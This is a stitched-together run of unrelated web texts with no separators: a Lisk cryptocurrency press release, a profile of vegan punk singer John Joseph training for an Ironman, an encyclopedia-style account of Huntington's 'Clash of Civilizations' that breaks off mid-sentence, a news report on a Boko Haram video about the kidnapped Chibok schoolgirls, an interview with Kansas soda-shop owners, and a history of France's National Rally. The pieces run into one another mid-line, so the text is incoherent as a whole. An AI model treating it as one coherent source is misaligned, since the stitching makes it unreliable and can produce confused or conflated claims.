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Lastly, Lisk established a new community fund, which they explain is a major program that will help guarantee the long-term viability and foster the overarching development of the Lisk Ecosystem in a decentralized, community-led way. It will be generated from voluntary contributions from LSK owners, who may donate a portion of their cryptocurrency holdings to a fund that will be securely held in escrow until 2019. Lisk founders Max Kordek and Oliver Beddows are together donating the first 100,000 LSK, approximately $16,000.
Lisk CEO Max Kordek said: “We are excited to announce three major campaigns at once. Lisk is firm in our mission to maintain and grow a decentralized network, and so we look forward to the nomination of new delegate-leaders to foster our community. The cumulative voting power of all Lisk holders decides who will make up the 101 delegates, so it’s purely a community-led decision and that’s the direction we want to take. Sharing the power and incentivizing users is the most effective way to build a blockchain, and that’s why Lisk is on the rise.”
“The new delegate campaign, the incentivized proposal contest, and the creation of a Community Fund are all steps forward for the Lisk ecosystem. Separately, each further progresses our mission to provide the world’s best platform for blockchain applications. Combined, these campaigns will generate excitement and engagement from our community, the greatest asset Lisk could ever have,” concluded Kordek.John Joseph is a very well-known figure in both the hardcore punk and vegan communities. As lead singer of legendary New York hardcore band Cro-Mags, he's used his status and platform to spread the word about the benefits of plant-based diets and PMA (positive mental attitude).
What not a lot of people know about John is that on top of being an active touring musician and author, he also competes in the Ironman triathlons. These brutal tests of endurance consist of a 2.4-mile swim, a 112-mile bike ride, and a 26.2-mile run. To say a lot of training and diet go into competing and finishing an Ironman would be an understatement.
We follow John as he prepares for an event in Boulder, CO to see what fuels a plant-based endurance athlete under such intense training.Published hypothesis of Samuel P. Huntingdon about cultural geography
The Clash of Civilizations is a hypothesis that people's cultural and religious identities will be the primary source of conflict in the post-Cold War world. The American political scientist Samuel P. Huntington argued that future wars would be fought not between countries, but between cultures. It was proposed in a 1992 lecture[1] at the American Enterprise Institute, which was then developed in a 1993 Foreign Affairs article titled "The Clash of Civilizations?",[2] in response to his former student Francis Fukuyama's 1992 book, The End of History and the Last Man. Huntington later expanded his thesis in a 1996 book The Clash of Civilizations and the Remaking of World Order.
The phrase itself was earlier used by Albert Camus in 1946,[3] by Girilal Jain in his analysis of the Ayodhya dispute in 1988,[4] by Bernard Lewis in an article in the September 1990 issue of The Atlantic Monthly titled "The Roots of Muslim Rage"[5] and by Mahdi El Mandjra in his book "La première guerre civilisationnelle" published in 1992.[6][7] Even earlier, the phrase appears in a 1926 book regarding the Middle East by Basil Mathews: Young Islam on Trek: A Study in the Clash of Civilizations (p. 196). This expression derives from "clash of cultures", already used during the colonial period and the Belle Époque.[8]
Huntington began his thinking by surveying the diverse theories about the nature of global politics in the post-Cold War period. Some theorists and writers argued that human rights, liberal democracy, and the capitalist free market economy had become the only remaining ideological alternative for nations in the post-Cold War world. Specifically, Francis Fukuyama argued that the world had reached the 'end of history' in a Hegelian sense.
Huntington believed that while the age of ideology had ended, the world had only reverted to a normal state of affairs characterized by cultural conflict. In his thesis, he argued that the primary axis of conflict in the future will be along cultural lines.[9] As an extension, he posits that the concept of different civilizations, as the highest rank of cultural identity, will become increasingly useful in analyzing the potential for conflict. At the end of his 1993 Foreign Affairs article, "The Clash of Civilizations?", Huntington writes, "This is not to advocate the desirability of conflicts between civilizations. It is to set forth descriptive hypothesis as to what the future may be like."[2]
In addition, the clash of civilizations, for Huntington, represents a development of history. In the past, world history was mainly about the struggles between monarchs, nations and ideologies, such as seen within Western civilization. But after the end of the Cold War, world politics moved into a new phase, in which non-Western civilizations are no longer the exploited recipients of Western civilization but have become additional important actors joining the West to shape and move world history.[10]
Major civilizations according to Huntington [ edit ]
[11] The clash of civilizations according to Huntington (1996), as presented in the book.
Huntington divided the world into the "major civilizations" in his thesis as such:
Huntington's thesis of civilizational clash [ edit ]
Huntington at the 2004 World Economic Forum
Huntington argues that the trends of global conflict after the end of the Cold War are increasingly appearing at these civilizational divisions. Wars such as those following the break up of Yugoslavia, in Chechnya, and between India and Pakistan were cited as evidence of inter-civilizational conflict. He also argues that the widespread Western belief in the universality of the West's values and political systems is naïve and that continued insistence on democratization and such "universal" norms will only further antagonize other civilizations. Huntington sees the West as reluctant to accept this because it built the international system, wrote its laws, and gave it substance in the form of the United Nations.
Huntington identifies a major shift of economic, military, and political power from the West to the other civilizations of the world, most significantly to what he identifies as the two "challenger civilizations", Sinic and Islam.
In Huntington's view, East Asian Sinic civilization is culturally asserting itself and its values relative to the West due to its rapid economic growth. Specifically, he believes that China's goals are to reassert itself as the regional hegemon, and that other countries in the region will 'bandwagon' with China due to the history of hierarchical command structures implicit in the Confucian Sinic civilization, as opposed to the individualism and pluralism valued in the West. Regional powers such as the two Koreas and Vietnam will acquiesce to Chinese demands and become more supportive of China rather than attempting to oppose it. Huntington therefore believes that the rise of China poses one of the most significant problems and the most powerful long-term threat to the West, as Chinese cultural assertion clashes with the American desire for the lack of a regional hegemony in East Asia.[citation needed]
Huntington argues that the Islamic civilization has experienced a massive population explosion which is fueling instability both on the borders of Islam and in its interior, where fundamentalist movements are becoming increasingly popular. Manifestations of what he terms the "Islamic Resurgence" include the 1979 Iranian revolution and the first Gulf War. Perhaps the most controversial statement Huntington made in the Foreign Affairs article was that "Islam has bloody borders". Huntington believes this to be a real consequence of several factors, including the previously mentioned Muslim youth bulge and population growth and Islamic proximity to many civilizations including Sinic, Orthodox, Western, and African.
Huntington sees Islamic civilization as a potential ally to China, both having more revisionist goals and sharing common conflicts with other civilizations, especially the West. Specifically, he identifies common Chinese and Islamic interests in the areas of weapons proliferation, human rights, and democracy that conflict with those of the West, and feels that these are areas in which the two civilizations will cooperate.
Russia, Japan, and India are what Huntington terms'swing civilizations' and may favor either side. Russia, for example, clashes with the many Muslim ethnic groups on its southern border (such as Chechnya) but—according to Huntington—cooperates with Iran to avoid further Muslim-Orthodox violence in Southern Russia, and to help continue the flow of oil. Huntington argues that a "Sino-Islamic connection" is emerging in which China will cooperate more closely with Iran, Pakistan, and other states to augment its international position.
Huntington also argues that civilizational conflicts are "particularly prevalent between Muslims and non-Muslims", identifying the "bloody borders" between Islamic and non-Islamic civilizations. This conflict dates back as far as the initial thrust of Islam into Europe, its eventual expulsion in the Iberian reconquest, the attacks of the Ottoman Turks on Eastern Europe and Vienna, and the European imperial division of the Islamic nations in the 1800s and 1900s.
Huntington also believes that some of the factors contributing to this conflict are that both Christianity (upon which Western civilization is based) and Islam are:
Missionary religions, seeking conversion of others
Universal, "all-or-nothing" religions, in the sense that it is believed by both sides that only their faith is the correct one
Teleological religions, that is, that their values and beliefs represent the goals of existence and purpose in human existence.
More recent factors contributing to a Western–Islamic clash, Huntington wrote, are the Islamic Resurgence and demographic explosion in Islam, coupled with the values of Western universalism—that is, the view that all civilizations should adopt Western values—that infuriate Islamic fundamentalists. All these historical and modern factors combined, Huntington wrote briefly in his Foreign Affairs article and in much more detail in his 1996 book, would lead to a bloody clash between the Islamic and Western civilizations.
Why civilizations will clash [ edit ]
Huntington offers six explanations for why civilizations will clash:
Differences among civilizations are too basic in that civilizations are differentiated from each other by history, language, culture, tradition, and, most importantly, religion. These fundamental differences are the product of centuries and the foundations of different civilizations, meaning they will not be gone soon. The world is becoming a smaller place. As a result, interactions across the world are increasing, which intensify "civilization consciousness" and the awareness of differences between civilizations and commonalities within civilizations. Due to economic modernization and social change, people are separated from longstanding local identities. Instead, religion has replaced this gap, which provides a basis for identity and commitment that transcends national boundaries and unites civilizations. The growth of civilization-consciousness is enhanced by the dual role of the West. On the one hand, the West is at a peak of power. At the same time, a return-to-the-roots
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They have now memorised two chapters of the Koran," he said.
"We have married them off. They are in their marital homes," he added.
In a previous statement the group's leader threatened to sell the girls as slave brides and also suggested that he would be prepared to release them in exchange for Boko Haram prisoners.
Ceasefire claims denied
Shekau also said the group was holding a German national and denied they had agreed to a ceasefire, describing the Nigerian government statement as a lie. He also appeareed to rule out future talks.
The video comes after a surprise Nigerian military and presidency announcement on October 17 that a peace deal had been reached with the group.
A senior presidential aide to President Goodluck Jonathan also said that an agreement had been reached to free the schoolgirls, whose abduction sparked a global campaign for their release.
There was immediate scepticism about both claims because of previous assertions of ceasefires and the identity of the purported Boko Haram envoy at the supposed talks, Danladi Ahmadu.
Allen Manasseh, an activist working with the campaign to free the girls captured by Boko Haram, said to Al Jazeera live from Abuja on Saturday.
"This is another moment of shattered hope to our people," he said.
"We have received the cease fire announcement with caution because of the previous arrangements that did not translate to having these girls released, and today we questioned the issue of the cease fire because of the way the Nigerian government had handled it," Manasseh added.
Fresh attacks
Violence and fresh kidnappings have continued unabated since the announcement, including a triple bombing of a bus station in the northern city of Gombe on Friday that killed at least eight.
Nigeria's government maintains that talks are ongoing in the Chadian capital, Ndjamena.
But Shekau, dressed in military fatigues and boots with a black turban, and flanked by 15 armed fighters, said: "We have not made ceasefire with anyone..."
"We did not negotiate with anyone... It's a lie. It's a lie. We will not negotiate. What is our business with negotiation? Allah said we should not."
He also said he did not know Danladi.
There was no indication of when or where the video was shot but it was obtained through the same channels as previous communications from the group.
The New York-based Human Rights Watch said in a report this week that Boko Haram was holding upwards of 500 women and young girls and that forced marriage was commonplace in the group's camps.Special Soda Stores is a new series where we aim to highlight some of the best places to buy craft/vintage/hard to come by/quirky sodas/pop/fizzy drinks. First up is Mass Street Soda based in Lawrence, KS, USA, the brain child of Luke Thompson (on the left), Matt Baysinger (on the right). Luke and Matt were kind enough to take time out of their busy day to answer a few questions about running a soda store and giving some tips on their favourite drinks.
When did you start Mass Street Soda?
We actually started planning the store in 2009. It took 5 years of research for us to feel comfortable opening up a brick & mortar shop. The logistics in getting 1,100 different varieties of soda into one shop took a lot of planning work as well as physical work to get it all unloaded and onto the shelves.
What made you want to run a soda store?
Matt & I met while at the University of Kansas and both found out we had grown up with a love of craft soda. I grew up in a small town in Kansas that had its own soda company (Lost Trail Soda) so I was drinking it all the time. Matt grew up in Colorado and moved to Kansas and he would always try regional sodas wherever his family went on vacation. After university, we were both working full-time jobs while also building up small businesses on the side. Around October 2013 we decided that we both were ready to take the plunge and go forward with our soda shop plans.
What has been the great challenge in running MSS?
One of our greatest challenges is keeping soda in stock. We carry over 1,100 varieties of soda and it is hard to keep a large backstock of most varieties. Sometimes in can take months for us to get certain flavors back in stock when our customers want it right away. That will get easier with time and experience as we haven’t even been open a full year yet.
What is your Favourite drink?
It depends on the day. Some sodas are better when it is hot outside and some are better when it is cold. I tend to have favorite brands that I will always go back to whenever I need a delicious soda. Sprecher from Wisconsin always creates amazing sodas. Their Orange Dream is usually my go to soda if I need to recommend one to a customer.
Most unusual drink you have tried?
We have some that are unusual, but the taste isn’t the greatest. Their more of a novelty and not for a normal soda drinker. There are a few unusual sodas that people will come back and buy in large quantities. Dr. Brown’s out of New York makes a celery soda that is surprisingly refreshing. Cicero Beverages out of Chicago makes a Candied Bacon Cream Soda that has a cream soda taste up front and then a bacon meaty flavor at the end that is interesting in a good way. Empire Bottling Works out of Rhode Island makes a spruce beer that people either love or hate. Most of the people who love it are also a fan of gin because they have a similar taste.
Best thing about running a soda store?
We run a store where we get to taste soda all the time. It doesnt’ get any better than that. We also get to reunite people with brands that they either thought were extinct or brands that they grew up with and haven’t been able to find a retailer that sells them since they moved away from their home.
Worst thing?
It takes a lot of work to run a store. Glass bottled soda weighs a lot and we are constantly getting in pallets of soda from around the country so it’s a lot of lifting and moving soda around. The good news is that we have some great employees to help us out.
Drink you most want to try?
There are always new soda brands popping up and a few go out of business each year. There is a soda company in California that is making wine flavored soda that I haven’t been able to try yet. We don’t get to try a lot of the international sodas because they are too hard and too expensive to import.
Bestseller?
This month our best seller was Bundaberg Ginger Beer. It has such a great ginger flavor and makes a delicious Moscow Mule.
Soda, pop or fizzy drink?
Soda is what I like to call quality or glass bottled carbonated drinks. I consider pop to be your mass produced beverages like Coke, Pepsi, etc. Fizzy drink is not used at all in the US and I hadn’t heard of its use until I came upon your website.
Flavour of drink you would most like to see made?
We’re actually planning on making some small batch sodas this year so we’re going to try and do some unique flavors. We had a kid come in and request a Mac & Cheese soda.
Plans for future expansion?
We’re looking into it. We just opened in April 2014 so we’re looking to see what a full year of data looks like before we make any decisions.
Find Mass Street Soda
Website: massstreetsoda.com
Facebook: facebook.com/massstreetsoda
Twitter: twitter.com/massstreetsoda
Instagram: instagram.com/massstreetsoda
Real world:The National Rally (French: Rassemblement national, pronounced [ʁasɑ̃bləmɑ̃ nasjɔnal]; RN), until June 2018 known as the National Front (French: Front national, pronounced [fʁɔ̃ nasjɔnal]; FN), is a right-wing populist and nationalist political party in France. Most political commentators place the RN on the far-right,[16][18][17][22][26] but other sources suggest that the party's position on the political spectrum has become more difficult to define clearly.[27] Owing to the French electoral system, the party's representation in public office has been limited despite its significant share of the vote.[28] Its major policies include opposition to French membership in NATO, European Union, the Schengen Area, and the Eurozone. As an anti-European Union party, National Rally has opposed the European Union since its creation. The party also supports greater government intervention in the economy, protectionism, a zero tolerance approach to law and order, and significant cuts to legal immigration.[14]
The party was founded in 1972 to unify a variety of French nationalist movements of the time. Jean-Marie Le Pen was the party's first leader and the undisputed centre of the party from its start until his resignation in 2011. While the party struggled as a marginal force for its first ten years, since 1984 it has been the major force of French nationalism. The 2002 presidential election was the first in France to include a National Front candidate in the run-off after Jean-Marie Le Pen beat the Socialist candidate in the first round. In the run-off, he finished a distant second to Jacques Chirac. His daughter Marine Le Pen was elected to succeed him. In April 2017, she temporarily stepped down in order to concentrate on being the presidential candidate and to unite voters.[31][32][33]
While her father was nicknamed the "Devil of the Republic"[34] by mainstream media, Marine Le Pen pursued a policy of "de-demonisation"[35] of the party by softening its image. She endeavoured to extract it from its far-right cultural roots, and to normalize it by giving it a culture of government, and censuring controversial members like her father, who was suspended, and then expelled from the party in 2015.[36][37] Since her election as the leader of the party in 2011, the popularity of the FN continued to grow apace as the party won several municipalities at the 2014 municipal elections; it became the topped the poll in France at the 2014 European elections with 25% of the vote; and again won more votes than any other party in the 2015 departmental elections.[38] The party once again came in first place in the 2015 regional elections with a historic result of just under 28% of the vote.[39] By 2015, the FN had established itself as one of the largest political forces in France, unusually being both most popular and most controversial political party.[40][41][42][43]
At the party congress on 11 March 2018, Marine Le Pen proposed renaming the party to Rassemblement national (National Rally), pending approval by a vote of party members. On 1 June 2018, she announced the renaming of the party after its approval by 80.81% of the party's adherents.
Background [ edit ]
The party maintains that the nation is concrete (that is, a reality) rather than an abstraction; such point of view is in direct opposition to the French Revolution itself and its legacy.[45] One of the primary progenitors of the party was the Action Française, founded at the end of the 19th century, and its descendants in the Restauration Nationale, a pro-monarchy group that supports the claim of the Count of Paris to the French throne.[47] More recently, the party drew from the Poujadism of the 1950s, which started out as an anti-tax movement without relations to the right-wing, but included among its parliamentary deputies "proto-nationalists" such as Jean-Marie Le Pen.
Another conflict that is part of the party's background was the Algerian War (many frontistes, including Le Pen, were directly involved in the war), and the right-wing dismay over the decision by French President Charles de Gaulle to abandon his promise of holding on to French Algeria. In the 1965 presidential election, Le Pen unsuccessfully attempted to consolidate the right-wing vote around the right-wing presidential candidate Jean-Louis Tixier-Vignancour. During the late 1960s and early 1970s, the French far-right consisted mainly of small extreme movements such as Occident, Groupe Union Défense (GUD), and the Ordre Nouveau (ON).
History [ edit ]
Early years [ edit ]
Foundation (1972–1973) [ edit ]
While the ON had competed in some local elections since 1970, at its second congress in June 1972 it decided to establish a new political party to contest the 1973 legislative elections. The party was launched on 5 October 1972 under the name National Front for French Unity (Front national pour l'unité française), or Front National. In order to create a broad movement, the ON sought to model the new party (as it earlier had sought to model itself) on the more established Italian Social Movement (MSI), which at the time appeared to establish a broad coalition for the Italian right. The FN adopted a French version of the MSI tricolour flame as its logo. It wanted to unite the various French far-right currents, and brought together Le Pen's nationalist group, Roger Holeindre's Party of French Unity, Georges Bidault's Justice and Liberty movement, former Poujadists, Algerian War veterans, and some monarchists, among others. Le Pen was chosen to be the first president of the party, as he was untainted with the militant public image of the ON and was a relatively moderate figure on the far-right.
The National Front fared poorly in the 1973 legislative elections, receiving 0.5% of the national vote (although Le Pen won 5% in his Paris constituency). In 1973 the party created a youth movement, the Front national de la jeunesse (National Front of the Youth, FNJ). The rhetoric used in the campaign stressed old far-right themes and was largely uninspiring to the electorate at the time. Otherwise, its official program at this point was relatively moderate, differing little from the mainstream right. Le Pen sought the "total fusion" of the currents in the party, and warned against crude activism. The more radical elements of the ON were not persuaded, and reverted to hard activism.[clarification needed] They were banned from the party later that year. Le Pen soon became the undisputed leader of the party, although this cost it many leading members and much of its militant base.
In the 1974 presidential election, Le Pen failed to find a mobilising theme for his campaign. Many of its major issues, such as anti-communism, were shared by most of the mainstream right. Other FN issues included calls for increased French birth rates, immigration reduction (although this was downplayed), establishment of a professional army, abrogation of the Évian Accords, and generally the creation of a "French and European renaissance." Despite being the only nationalist candidate, he failed to gain the support of a united far-right, as the various groups either rallied behind other candidates or called for voter abstention. The campaign further lost ground when the Revolutionary Communist League published a denunciation of Le Pen's alleged involvement in torture during his time in Algeria. In his first presidential election, Le Pen gained only 0.8% of the national vote.
FN–PFN rivalry (1973–1981) [ edit ]
Following the 1974 election, the FN was obscured by the appearance of the Party of New Forces (PFN), founded by FN dissidents (largely from the ON). Their competition weakened both parties throughout the 1970s. During the same time, the FN gained several new groups of supporters, including François Duprat and his "revolutionary nationalists", Jean-Pierre Stirbois and his "solidarists", the Nouvelle Droite, and Bernard Anthony. Following the death of Duprat in a bomb attack, the revolutionary nationalists left the party, while Stirbois became Le Pen's deputy as his solidarists effectively ousted the neo-fascist tendency in the party leadership. The far right was marginalised altogether in the 1978 legislative elections, although the PFN was better off. For the first election for the European Parliament in 1979, the PFN had become part of an attempt to build a "Euro-Right" alliance of European far-right parties, and was in the end the only one of the two that contested the election. It fielded Jean-Louis Tixier-Vignancour as its primary candidate, while Le Pen called for voter abstention.
For the 1981 presidential election, both Le Pen and Pascal Gauchon of the PFN declared their intentions to run. However, an increased requirement regarding obtaining signatures of support from elected officials had been introduced for the election, which left both Le Pen and Gauchon unable to stand for the election (In France, parties have to secure support from a specific number of elected officials, from a specific number of departments, in order to be eligible to run for election. In 1976, the number of required elected officials was increased fivefold, and the number of departments threefold). The election was won by François Mitterrand of the Socialist Party (PS), which gave the political left national power for the first time in the Fifth Republic; he then dissolved the National Assembly and called a snap legislative election. The PS attained its best ever result with an absolute majority in the 1981 legislative election. This "socialist takeover" led to a radicalisation in centre-right, anti-communist, and anti-socialist voters.[82] With only three weeks to prepare its campaign, the FN fielded only a limited number of candidates and won only 0.2% of the national vote. The PFN was even worse off, and the election marked the effective end of competition from the party.
Jean-Marie Le Pen's era [ edit ]
Electoral breakthrough (1982–1988) [ edit ]
While the French party system had been dominated by polarisation and competition between the clear-cut ideological alternatives of two political blocs in the 1970s, the two blocs had largely moved towards the centre by the mid-1980s. This led many voters to perceive the blocs as more or less indistinguishable, particularly after the Socialists' "austerity turn" (tournant de la rigueur) of 1983,[83] in turn inducing them to seek out to new political alternatives. By October 1982, Le Pen supported the prospect of deals with the mainstream right, provided that the FN did not have to soften its position on key issues. In the 1983 municipal elections, the centre-right Rally for the Republic (RPR) and centrist Union for French Democracy (UDF) formed alliances with the FN in a number of towns. The most notable result came in the 20th arrondissement of Paris, where Le Pen was elected to the local council with 11% of the vote. Later by-elections kept media attention on the party, and it was for the first time allowed to pose as a viable component of the broader right. In a by-election in Dreux in October, the FN won 17% of the vote. With the choice of defeat to the political left or dealing with the FN, the local RPR and UDF agreed to form an alliance with the FN, creating national sensation, and together won the second round with 55% of the vote. The events in Dreux were a monumental factor for the rise of the FN.
Le Pen protested the media boycott against his party by sending letters to President Mitterrand in mid-1982. After some exchanges of letters, Mitterrand instructed the heads of the main television channels to give equitable coverage to the FN. In January 1984, the party made its first appearance in a monthly poll of political popularity, in which 9% of respondents held a "positive opinion" of the FN and some support for Le Pen. The next month, Le Pen was for the first time invited onto a prime-time television interview programme, which he himself later deemed "the hour that changed everything". The 1984 European elections in June came as a shock, as the FN won 11% of the vote and ten seats. Notably, the election used proportional representation and was considered to have a low level of importance by the public, which played to the party's advantage. The FN made inroads in both right-wing and left-wing constituencies, and finished second in a number of towns. While many Socialists had arguably exploited the party in order to divide the right, Mitterrand later conceded that he had underestimated Le Pen. By July, 17% of opinion poll respondents held a positive opinion of the FN.
By the early 1980s, the FN featured a mosaic of ideological tendencies and attracted figures who were previously resistant to the party. The party managed to draw supporters from the mainstream right, including some high-profile defectors from the RPR, UDF, and the National Centre of Independents and Peasants (CNIP). In the 1984 European elections, eleven of the 81 FN candidates came from these parties, and the party's list also included an Arab and a Jew (although in unwinnable positions). Former collaborators were also accepted in the party, as Le Pen urged the need for "reconciliation", arguing that forty years after the war the only important question was whether or not "they wish to serve their country". The FN won 8.7% overall support in the 1985 cantonal elections, and over 30% in some areas.
For the 1986 legislative elections the FN took advantage of a new proportional representation system that had been imposed by Mitterrand in order to moderate a foreseeable defeat for his PS. In the election, the FN won 9.8% of the vote and 35 seats in the National Assembly. Many of its seats could be filled by a new wave of respectable political operatives, notables, who had joined the party after its 1984 success. The RPR won a majority with smaller centre-right parties, and thus avoided the need to deal with the FN. Although it was unable to exercise any real political influence, the party could project an image of political legitimacy. Several of its legislative proposals were extremely controversial and had a socially reactionary and xenophobic character, among them attempts to restore the death penalty, expel foreigners who "proportionally committed more crimes than the French", restrict naturalisation, introduce a "national preference" for employment, impose taxes on the hiring of foreigners by French companies, and privatise Agence France-Presse.[102] The party's time in the National Assembly effectively came to an end when Jacques Chirac reinstated the two-round system of majority voting for the next election. In the regional elections held on the same day, it won 137 seats, and gained representation in 21 of the 22 French regional councils. The RPR depended on FN support to win presidencies in some regional councils, and the FN won vice-presidential posts in four regions.
Consolidation (1988–1997) [ edit ]
Le Pen's campaign for the upcoming presidential election unofficially began in the months following the 1986 election. To promote his statesmanship credentials, he made trips to South East Asia, the United States, and Africa. The management of the formal campaign, launched in April 1987, was entrusted to Bruno Mégret, one of the new notables. With his entourage, Le Pen traversed France for the entire period and, helped by Mégret, employed an American-style campaign. Le Pen's presidential campaign was highly successful; no candidates came close to rival his ability to excite audiences at rallies and boost ratings at television appearances. Using a populist tone, Le Pen presented himself as the representative of the people against the "gang of four" (RPR, UDF, PS, Communist Party), while the central theme of his campaign was "national preference". In the 1988 presidential election, Le Pen won an unprecedented 14.4% of the vote, and double the votes from 1984.
The FN was hurt in the snap 1988 legislative elections by the return two-ballot majority voting, by the limited campaign period, and by the departure of many notables. In the election the party retained its 9.8% support from the previous legislative election, but was reduced to a single seat in the National Assembly. Following some anti-Semitic comments made by Le Pen and the FN newspaper National Hebdo in the late 1980s, some valuable FN politicians left the party. Other quarrels soon also left the party without its remaining member of the National Assembly. In November 1988, general secretary Jean-Pierre Stirbois, who, together with his wife Marie-France, had been instrumental in the FN's early electoral successes, died in a car accident, leaving Bruno Mégret as the unrivalled de facto FN deputy leader. The FN only got 5% in the 1988 cantonal elections, while the RPR announced it would reject any alliance with the FN, now including at local level. In the 1989 European elections, the FN held on to its ten seats as it won 11.7% of the vote.
In the wake of FN electoral success, the immigration debate, growing concerns over Islamic fundamentalism, and the fatwa against Salman Rushdie by Ayatollah Khomeini, the 1989 affaire du foulard was the first major test of the relations between the values of the French Republic and Islam. Following the event, surveys found that French public opinion was largely negative towards Islam. In a 1989 legislative by-election in Dreux, FN candidate Marie-France Stirbois, campaigning on an anti-Islamism platform, returned a symbolic FN presence to the National Assembly. By the early 1990s, some mainstream politicians began employing anti-immigration rhetoric. In the first round of the 1993 legislative elections the FN soared to 12.7% of the overall vote, but did not win a single seat due to the nature of the electoral system (if the election had used proportional representation, it would have won 64 seats). In the 1995 presidential election, Le Pen rose slightly to 15% of the vote.
The FN won an absolute majority (and thus the mayorship) in three cities in the 1995 municipal elections: Toulon, Marignane, and Orange. (It had won a mayorship only once before, in the small town of Saint-Gilles-du-Gard in 1989.) Le Pen then declared that his party would implement its "national preference" policy, with the risk of provoking the central government and being at odds with the laws of the Republic. The FN pursued interventionist policies with regards to the new cultural complexion of their towns by directly influencing artistic events, cinema schedules, and library holdings, as well as cutting or halting subsidies for multicultural associations. The party won Vitrolles, its fourth town, in a 1997 by-election, where similar policies were pursued. Vitrolles' new mayor Catherine Mégret (fr) (who ran in place of her husband Bruno) went further in one significant measure, introducing a special 5,000 franc allowance for babies born to at least one parent of French (or EU) nationality. The measure was ruled illegal by a court, also giving her a suspended prison sentence, a fine, and a two-year ban from public office.
Turmoil, split of MNR (1997–2002) [ edit ]
Bruno Mégret and his faction broke out from the FN to form the MNR party
In the 1997 legislative elections the FN polled its best-ever result with 15.3% support in metropolitan France, confirming its position as the third most important political force in France. It also showed that the party had become established enough to compete without its leader, who decided not to run to focus on the 2002 presidential election. Although it won only one seat in the National Assembly (Toulon), thanks to a good communication director,[129] it advanced to the second round in 132 constituencies. The FN was arguably more influential now than it had been in 1986 with its 35 seats. While Bruno Mégret and Bruno Gollnisch, in an unusual display of dissent, favoured tactical cooperation with a weakened centre-right following the left's victory, Le Pen rejected any such compromise. In the tenth FN national congress in 1997, Mégret stepped up his position in the party as its rising star and a potential leader following Le Pen. Le Pen however refused to designate Mégret as his successor-elect, and instead made his wife Jany the leader of the FN list for the upcoming European election.
Mégret and his faction left the FN in January 1999 and founded the National Republican Movement (MNR), effectively splitting the FN in half at most levels.[136] Many of those who joined the new MNR had joined the FN in the mid-1980s, in part from the Nouvelle Droite, with a vision of building bridges to the parliamentary right. Many had also been particularly influential in intellectualising the FN's policies on immigration, identity and "national preference", and, following the split, Le Pen denounced them as "extremist" and "racist". Support for the parties was almost equal in the 1999 European election, as the FN polled its lowest national score since 1984 with just 5.7%, and the MNR won 3.3%. The effects of the split, and competition from more moderate nationalists, had left their combined support lower than the FN result in 1984.
Presidential run-off (2002) [ edit ]
Logo for Le Pen's 2002 presidential campaign
For the 2002 presidential election, opinion polls had predicted a run-off between incumbent President Chirac and PS candidate Lionel Jospin.[139] The shock was thus great when Le Pen unexpectedly beat Jospin (by 0.7%) in the first round. This resulted in the first presidential run-off since 1969 without a leftist candidate, and the first ever with a candidate of the far-right. To Le Pen's advantage, the election campaign had increasingly focused on law and order issues, helped by media attention on a number of violent incidents. Jospin had also been weakened due to the competition between an exceptional number of leftist parties. Nevertheless, Chirac did not even have to campaign in the second round, as widespread anti-Le Pen protests from the media and public opinion culminated on May Day, with an estimated 1.5 million demonstrators across France. Chirac also refused to debate with Le Pen, and the traditional televised debate was cancelled. In the end, Chirac won the presidential run-off with an unprecedented 82.2% of the vote and with 71% of his votes—according to polls—cast simply "to block Le Pen". Following the presidential election, the main centre-right parties merged to form the broad-based Union for a Popular Movement (UMP). The FN failed to hold on to Le Pen's support for the 2002 legislative elections, in which it got 11.3% of the vote. It nevertheless outpolled Mégret's MNR, which won a mere 1.1% support, even though it had fielded the same number of candidates.
Decline (2002–2011) [ edit ]
National advertisement in Marseille for Le Pen's 2007 presidential bid
A new electoral system of two-round voting had been introduced for the 2004 regional elections, in part in an attempt to reduce the FN's influence in regional councils. The FN won 15.1% of the vote in metropolitan France, almost the same as in 1998, but its number of councillors was almost halved due to the new electoral system. For the 2004 European elections too, a new system less favourable to the FN had been introduced. The party regained some of its strength from 1999, earning 9.8% of the vote and seven seats.
For the 2007 presidential election, Le Pen and Mégret agreed to join forces. Le Pen came fourth in the election with 11% of the vote, and the party won no seats in the legislative election of the same year. The party's 4.3% support was the lowest score since the 1981 election and only one candidate, Marine Le Pen in Pas de Calais, reached the runoff (where she was defeated by the Socialist incumbent). These electoral defeats partly accounted for the party's financial problems. Le Pen announced the sale of the FN headquarters in Saint-Cloud, Le Paquebot, and of his personal armoured car.[152] Twenty permanent employees of the FN were also dismissed in 2008.[153] In the 2010 regional elections the FN appeared to have re-emerged on the political scene after surprisingly winning almost 12% of the overall vote and 118 seats.[154]
Marine Le Pen's era [ edit ]
Revival of the FN (2011–2012) [ edit ]
Marine Le Pen (2007), National Front president (2011–2017)
Results by region at the first round of the 2015 French regional elections : regions where the National Front gained the most votes in grey
Jean-Marie Le Pen announced in September 2008 that he would retire as FN president in 2010.[139] Le Pen's daughter Marine Le Pen and FN executive vice-president Bruno Gollnisch campaigned for the presidency to succeed Le Pen,[139] with Marine's candidacy backed by her father.[139] On 15 January 2011, it was announced that Marine Le Pen had received the two-thirds vote needed to become the new leader of the FN.[155][156] She sought to transform the FN into a mainstream party by softening its xenophobic image.[139][155][156] Opinion polls showed the party's popularity increase under Marine Le Pen, and in the 2011 cantonal elections the party won 15% of the overall vote (up from 4.5% in 2008). However, due to the French electoral system, the party only won 2 of the 2,026 seats up for election.[157]
At the end of 2011 the National Front withdrew from the far-right Alliance of European National Movements and joined the more moderate European Alliance of Freedom. In October 2013 Bruno Gollnisch and Jean-Marie Le Pen resigned from their position in the AENM.
For the 2012 presidential election, opinion polls showed Marine Le Pen as a serious challenger, with a few polls even suggesting that she could win the first round of the election.[158][159] In the event, Le Pen came third in the first round, scoring 17.9% – the best showing ever for the FN.
In the 2012 legislative election, the National Front won two seats: Gilbert Collard and Marion Maréchal.[160][161][162]
In two polls about presidential favourites in April and May 2013,[163] Marine le Pen polled ahead of president François Hollande but behind Nicolas Sarkozy.[163]
Electoral successes (2012–2017) [ edit ]
In the municipal elections held on 23 and 30 March 2014, lists officially supported by National Front won mayoralties in 12 cities: Beaucaire, Cogolin, Fréjus, Hayange, Hénin-Beaumont, Le Luc, Le Pontet, Mantes-la-Ville, the 7th arrondissement of Marseille, Villers-Cotterêts, Béziers and Camaret-sur-Aigues. Following the municipal elections, the National Front has, in cities of over 1,000 inhabitants, 1,546 and 459 councilors at two different levels of local government.[164] The international media described the results as "historic",[165][166][167] and "impressive", although the International Business Times suggested that "hopes for real political power remain a fantasy" for the National Front.[168]
Demonstration against National Front in Paris after the results of the 2014 election
